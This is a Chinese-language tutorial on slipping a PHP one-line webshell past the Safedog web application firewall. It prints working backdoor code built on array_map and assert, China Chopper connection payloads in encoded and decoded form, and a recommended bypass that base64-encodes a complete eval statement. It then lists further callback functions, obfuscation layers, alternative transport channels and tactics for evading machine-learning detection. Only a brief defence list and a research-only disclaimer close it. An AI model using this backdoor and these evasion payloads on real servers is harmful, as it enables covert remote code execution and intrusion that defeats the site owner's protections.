Php一句话后门过狗姿势万千之传输层加工【二】
字数 1084 2025-08-29 08:31:42
PHP一句话后门过狗技术详解:传输层加工
一、前言
本文深入分析PHP一句话后门在数据传输层绕过安全狗(WAF)的技术原理与实现方法。重点探讨如何通过修改数据传输特征来规避安全检测,而非简单的工具使用。
二、实验环境
-
测试环境:
- 服务器:Apache + PHP 5.3
- 防护:网站安全狗+服务器安全狗,最高防护级别
- 对比环境:Nginx + PHP 5.3(无安全狗)
-
后门代码:
$a=array(base64_decode($_REQUEST['a']));
@array_map("assert",$a);
三、菜刀连接特征分析
1. 传统菜刀连接方式
http://localhost/test.php?xx=YXNzZXJ0KCRfUkVRVUVTVFsnc29maWEnXSk=
密码: sofia
2. 菜刀POST数据特征
sofia=@eval(base64_decode($_POST[z0]));
&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7ZWNobyAkRC4iXHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCRMLiI6IikpZWNobygkTC4iOiIpO307ZWNobygifDwtIik7ZGllKCk7
解码后内容:
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
echo $D."\t";
if(substr($D,0,1)!="/"){
foreach(range("A","Z") as $L)
if(is_dir($L.":"))echo($L.":");
};
echo("|<-");
die();
3. 安全狗检测机制
- 文件特征检测与数据提交检测是独立的
- 数据层检测主要针对
eval、base64_decode、$_POST等特征 - 文件特征检测到后门会弹窗,数据层检测通常不弹窗
四、过狗技术方案
方案一:分离"eval"特征
- 尝试将"eval"四个字母拆分或变形
- 实际应用中发挥空间有限
方案二:修改后门执行方式
- 使用其他回调函数替代
assert和eval - 例如:
$a = create_function('', base64_decode($_REQUEST['a']));
$a();
方案三:直接构造eval语句(推荐)
实现步骤:
- 构造完整的eval语句:
eval('@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");$D=dirname($_SERVER["SCRIPT_FILENAME"]);echo $D."\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir($L.":"))echo($L.":");};echo("|<-");die();')
- 对整段代码进行base64编码:
ZXZhbCgnQGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7ZWNobyAkRC4iXHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCRMLiI6IikpZWNobygkTC4iOiIpO307ZWNobygifDwtIik7ZGllKCk7Jyk=
- 直接作为参数a的值传递:
a=ZXZhbCgnQGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7ZWNobyAkRC4iXHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCRMLiI6IikpZWNobygkTC4iOiIpO307ZWNobygifDwtIik7ZGllKCk7Jyk=
五、技术要点总结
-
assert与eval的区别:
assert能执行phpinfo()等函数,但无法执行所有PHP语句eval是更强大的执行函数,可以执行任意PHP代码
-
回调函数多样性:
- 除
array_map外,还可使用:call_user_funccreate_functionpreg_replace的/e模式(PHP<5.5)usort等数组函数
- 除
-
数据传输层隐蔽:
- 避免直接使用
eval、assert等关键词 - 可考虑多层编码(如base64+rot13)
- 使用非常规参数名和传输方式
- 避免直接使用
-
文件特征隐蔽:
- 使用合法函数名伪装(如
array_map) - 代码分散到多个位置
- 结合正常业务逻辑
- 使用合法函数名伪装(如
六、防御建议
- 禁用危险函数:
eval、assert、create_function等 - 严格过滤输入数据,特别是
$_REQUEST、$_POST等 - 监控异常的文件操作和系统命令执行
- 使用最新版本的安全防护软件
- 定期审计服务器代码
七、扩展思考
-
其他传输层加工方式:
- HTTP头传输
- Cookie传输
- 文件上传方式传输
- 分片传输
-
高级混淆技术:
- 代码加密
- 动态解密执行
- 利用PHP特性(如变量函数)
-
对抗机器学习检测:
- 随机化特征
- 模仿正常流量
- 低频率请求
注:本文仅用于技术研究和防御知识学习,请勿用于非法用途。